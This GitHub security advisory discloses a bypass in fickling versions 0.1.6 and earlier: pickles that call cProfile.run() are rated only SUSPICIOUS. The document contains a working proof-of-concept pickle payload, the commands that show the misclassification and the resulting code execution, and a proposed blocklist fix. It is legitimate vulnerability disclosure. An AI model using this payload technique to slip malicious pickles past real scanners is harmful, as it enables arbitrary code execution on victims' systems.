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Fickling Blocklist Bypass: cProfile.run()

High severity GitHub Reviewed Published Jan 9, 2026 in trailofbits/fickling • Updated Jan 11, 2026

Package

pip fickling (pip)

Affected versions

<= 0.1.6

Patched versions

0.1.7

Description

Fickling's assessment

cProfile was added to the list of unsafe imports (trailofbits/fickling@dc8ae12).

Original report

Description

Summary

Fickling versions up to and including 0.1.6 do not treat Python's cProfile module as unsafe. Because of this, a malicious pickle that uses cProfile.run() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The cProfile module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:

  • File: fickling/analysis.py
  • Class: UnsafeImports
  • Issue: The blocklist does not include cProfile, cProfile.run, or cProfile.runctx

Reference to similar fix:

  • PR #187 added pty to the blocklist to fix CVE-2025-67748
  • PR #108 documented the blocklist approach
  • The same fix pattern should be applied for cProfile

How the bypass works:

  1. Attacker creates a pickle using cProfile.run() in __reduce__
  2. cProfile.run() accepts a Python code string and executes it directly (C-accelerated version of profile.run)
  3. Fickling's UnsafeImports analysis does not flag cProfile as dangerous
  4. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
  5. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

Function Fickling Severity RCE Capable
os.system LIKELY_OVERTLY_MALICIOUS Yes
eval OVERTLY_MALICIOUS Yes
exec OVERTLY_MALICIOUS Yes
cProfile.run SUSPICIOUS Yes ← BYPASS
cProfile.runctx SUSPICIOUS Yes ← BYPASS

Suggested fix:

Add to the unsafe imports blocklist in fickling/analysis.py:

  • cProfile
  • cProfile.run
  • cProfile.runctx
  • _lsprof (underlying C module)

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Environment:

  • Python 3.13.2
  • fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle
import cProfile

class MaliciousPayload:
    def __reduce__(self):
        return (cProfile.run, ("print('CPROFILE_RCE_CONFIRMED')",))

with open("malicious.pkl", "wb") as f:
    pickle.dump(MaliciousPayload(), f)

Step 2: Analyze with fickling

from fickling.fickle import Pickled
from fickling.analysis import check_safety

with open('malicious.pkl', 'rb') as f:
    data = f.read()

pickled = Pickled.load(data)
result = check_safety(pickled)
print(f"Severity: {result.severity}")
print(f"Analysis: {result}")

Expected output (if properly detected):

Severity: Severity.OVERTLY_MALICIOUS

Actual output (bypass confirmed):

Severity: Severity.SUSPICIOUS
Analysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file

Step 3: Prove RCE by loading the pickle

python -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))"

Output

CPROFILE_RCE_CONFIRMED
         4 function calls in 0.000 seconds

   Ordered by: standard name

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
        1    0.000    0.000    0.000    0.000 <string>:1(<module>)
        1    0.000    0.000    0.000    0.000 {built-in method builtins.exec}
        1    0.000    0.000    0.000    0.000 {built-in method builtins.print}
        1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}

Check: The code executes, proving RCE.

Pickle disassembly (evidence):

    0: \x80 PROTO      5
    2: \x95 FRAME      58
   11: \x8c SHORT_BINUNICODE 'cProfile'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'run'
   27: \x94 MEMOIZE    (as 1)
   28: \x93 STACK_GLOBAL
   29: \x94 MEMOIZE    (as 2)
   30: \x8c SHORT_BINUNICODE "print('CPROFILE_RCE_CONFIRMED')"
   63: \x94 MEMOIZE    (as 3)
   64: \x85 TUPLE1
   65: \x94 MEMOIZE    (as 4)
   66: R    REDUCE
   67: \x94 MEMOIZE    (as 5)
   68: .    STOP
highest protocol among opcodes = 4

Impact

Vulnerability Type:

Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted:

Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:

  • ML model validation pipelines
  • Model hosting platforms (Hugging Face, MLflow, etc.)
  • Security scanning tools that use fickling
  • CI/CD pipelines that validate pickle artifacts

Attack scenario:

An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Why cProfile.run() is dangerous:

Unlike runpy.run_path() which requires a file on disk, cProfile.run() takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that cProfile.run() takes "a single argument that can be passed to the exec() function".

cProfile is the C-accelerated version and is more commonly available than profile. It's also the recommended profiler per Python docs ("cProfile is recommended for most users"), so it's present in virtually all Python installations.

Severity: HIGH

  • The attacker achieves arbitrary code execution
  • The security control (fickling) is specifically designed to prevent this
  • The bypass requires no special conditions beyond crafting the pickle with cProfile
  • Attack is fully self-contained (no external files needed)
  • cProfile is more commonly used than profile, increasing attack surface

References

@thomas-chauchefoin-tob thomas-chauchefoin-tob published to trailofbits/fickling Jan 9, 2026
Published to the GitHub Advisory Database Jan 9, 2026
Reviewed Jan 9, 2026
Published by the National Vulnerability Database Jan 10, 2026
Last updated Jan 11, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(27th percentile)

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. Learn more on MITRE.

CVE ID

CVE-2026-22607

GHSA ID

GHSA-p523-jq9w-64x9

Source code

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